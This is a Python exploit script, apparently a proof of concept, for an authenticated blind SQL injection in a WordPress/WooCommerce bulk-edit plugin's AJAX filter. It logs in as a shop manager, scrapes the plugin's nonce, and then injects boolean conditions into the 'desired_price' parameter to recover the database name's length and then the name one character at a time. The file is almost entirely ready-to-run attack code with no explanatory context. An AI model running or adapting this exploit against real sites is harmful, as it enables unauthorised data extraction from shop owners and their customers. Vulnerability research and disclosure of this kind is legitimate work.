import requests import sys import string import re class WordPressSQLInjector: def __init__(self, target, login_id, login_pw, proxies): self.target = target self.session = requests.session() self.nonce = None self.proxies = proxies self.login_id = login_id self.login_pw = login_pw def login(self): data = { "log": self.login_id, "pwd": self.login_pw, "wp-submit": "Log In", "testcookie": 1, } resp = self.session.post(f"{self.target}/wp-login.php", data=data, proxies=self.proxies) if any("wordpress_logged_in_" in cookie for cookie in resp.cookies.keys()): print(f" |- Successfully logged in with account {self.login_id}.") else: raise Exception("[-] Login failed.") def get_nonce(self, page_url): """ Extract the _ajax_eh_bep_nonce value from the specified page. """ resp = self.session.get(url=page_url, proxies=self.proxies) pattern = r'name="_ajax_eh_bep_nonce" value=\"(.{10})\"' match = re.search(pattern, resp.text) if match: self.nonce = match.group(1) print(f" |- Successfully extracted nonce: {self.nonce}") else: raise ValueError("Failed to extract _ajax_eh_bep_nonce.") def create_payload(self, payload): """ Generate a payload dictionary dynamically with the extracted nonce. """ if not self.nonce: raise ValueError("_ajax_eh_bep_nonce is not set. Call `get_nonce` first.") return { "paged": "1", "_ajax_eh_bep_nonce": self.nonce, "action": "eh_bep_filter_products", "sub_category_filter": "", "attribute": "", "product_title_select": "all", "product_title_text": "", "regex_flags": "", "attribute_value_filter": "", "attribute_and": "", "attribute_value_and_filter": "", "range": "=", "desired_price": payload, "minimum_price": "", "maximum_price": "", "exclude_ids": "", "exclude_subcat_check": "0", "enable_exclude_prods": "0", } def find_database_length(self, ajax_url): """ Find the length of the database name using SQL injection. """ database_length = 0 while True: sys.stdout.write(f"\rFinding database name length... Current database length: {database_length}") sys.stdout.flush() payload = f"1 OR LENGTH(DATABASE()) = {database_length}" resp = self.session.post(url=ajax_url, data=self.create_payload(payload), proxies=self.proxies) if resp.json()["total_items_count"] != 0: sys.stdout.write("\r" + " " * 60 + "\r") print("*" * 40) print("Successfully found database name length!") print(f"Database name length: {database_length}") print("*" * 40) return database_length database_length += 1 def extract_database_name(self, ajax_url, database_length): """ Extract the database name character by character using SQL injection. """ database_name = '' charset = string.ascii_letters + string.digits + "_" print("Starting database name extraction...") for i in range(1, database_length + 1): for char in charset: ascii_value = ord(char) payload = f"1 OR ASCII(SUBSTRING(DATABASE(), {i}, 1)) = {ascii_value}" resp = self.session.post(url=ajax_url, data=self.create_payload(payload), proxies=self.proxies) try: is_true = resp.json()["total_items_count"] != 0 except (KeyError, ValueError, requests.exceptions.JSONDecodeError): print(f"\nJSON response error occurred: {resp.text}") is_true = False if is_true: database_name += char sys.stdout.write(f"\rCurrent database name: {database_name}") sys.stdout.flush() break sys.stdout.write("\r" + " " * 80 + "\r") print("*" * 40) print("Successfully extracted database name!") print(f"Database name: {database_name}") print("*" * 40) return database_name if __name__ == '__main__': # Configuration TARGET = "http://localhost:8080" # Shop Manager OR Administrator LOGIN_ID = "shop_manager" LOGIN_PW = "shop_manager" NONCE_PAGE = f"{TARGET}/wp-admin/admin.php?page=eh-bulk-edit-product-attr" AJAX_URL = f"{TARGET}/wp-admin/admin-ajax.php" # Enter the proxy server address in the variable below if you want to configure a proxy. PROXY_SERVER = None PROXY_CONFIG = { "https": PROXY_SERVER, "http": PROXY_SERVER, } # Initialize and perform SQL Injection injector = WordPressSQLInjector(TARGET, LOGIN_ID, LOGIN_PW, proxies=PROXY_CONFIG) injector.login() injector.get_nonce(NONCE_PAGE) database_length = injector.find_database_length(AJAX_URL) database_name = injector.extract_database_name(AJAX_URL, database_length)